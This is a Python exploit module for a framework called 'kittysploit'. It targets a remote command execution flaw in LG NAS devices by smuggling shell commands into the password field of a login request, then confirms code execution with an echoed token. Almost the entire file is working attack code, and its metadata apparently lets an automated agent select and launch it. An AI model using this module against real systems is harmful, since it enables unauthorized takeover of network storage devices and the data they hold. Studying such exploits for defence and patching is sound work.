LG_NAS_3718.510.a0_RCE

#!/usr/bin/env python3
# -*- coding: utf-8 -*-
"""LG_NAS_3718.510.a0_RCE"""

import time

from kittysploit import *
from lib.protocols.http.http_client import Http_client
from lib.exploit.handler import Handler


class Module(Exploit, Http_client, Handler):
    __info__ = {
        'name': 'LG_NAS_3718.510.a0_RCE',
        'description': 'Module exploits LG-NAS Storage Remote Command Execution vulnerability in the web-based certificate generator feature.',
        'author': ['@0x616163', 'GH0st3rs'],
        
        'platform': Platform.LINUX,
        'payload': {'default': 'nopayload'},
        'references': ['https://www.vpnmentor.com/blog/critical-vulnerability-found-majority-lg-nas-devices/', 'https://www.exploit-db.com/exploits/45109'],
        'tags': ['iot', 'router', 'rce', 'unauth'],
        'agent': {
            'risk': 'intrusive',
            'effects': ['active_exploitation'],
            'expected_requests': 2,
            'reversible': False,
            'approval_required': True,
            'produces': ['exploit_paths', 'risk_signals'],
            'cost': 1.5,
            'noise': 0.5,
            'value': 1.0,
        },
    }

    target = OptIP("", "Target IPv4 or IPv6 address")
    port = OptPort(80, "Target HTTP port")

    def execute(self, cmd: str) -> str:
        parameters = OrderedDict([('op_mode', 'login'), ('id', 'admin'), ('password', 'pass;' + cmd), ('mobile', 'false')])
        response = self.http_request(
            method="POST", path="/en/php/login_check.php",
            data=parameters, timeout=0.5
        )
        if response and response.status_code == 200:
            return response.text
        return ''
    def check(self) -> bool:
        # Exploiting this vulnerability requires a valid user account
        # on the target NAS otherwise the vulnerable code is not executed
        parameters = OrderedDict([('op_mode', 'login'), ('id', 'admin'), ('password', 'pass'), ('mobile', 'false')])
        response = self.http_request(
            method="POST",
            path="/en/php/login_check.php",
            data=parameters
        )
        if response:
            if response.text == "NG:WRONG PASSWORD\n":
                print_status("Valid user found: admin for %s:%d", self.host, self.port)
                return {"vulnerable": True, "reason": "Check succeeded", "confidence": "medium"}
            if response and response.text == "NG:NO USER\n":
                print_status("User not found: admin for %s:%d", self.host, self.port)
        return {"vulnerable": False, "reason": "Check failed", "confidence": "medium"}

    def check_execute(self) -> bool:
        token = self.random_text(8)
        return token in (self.execute(f"echo {token}") or "")

    def run(self):
        if not self.check_execute():
            self.not_vulnerable()
            return False
        return self.handler_execute()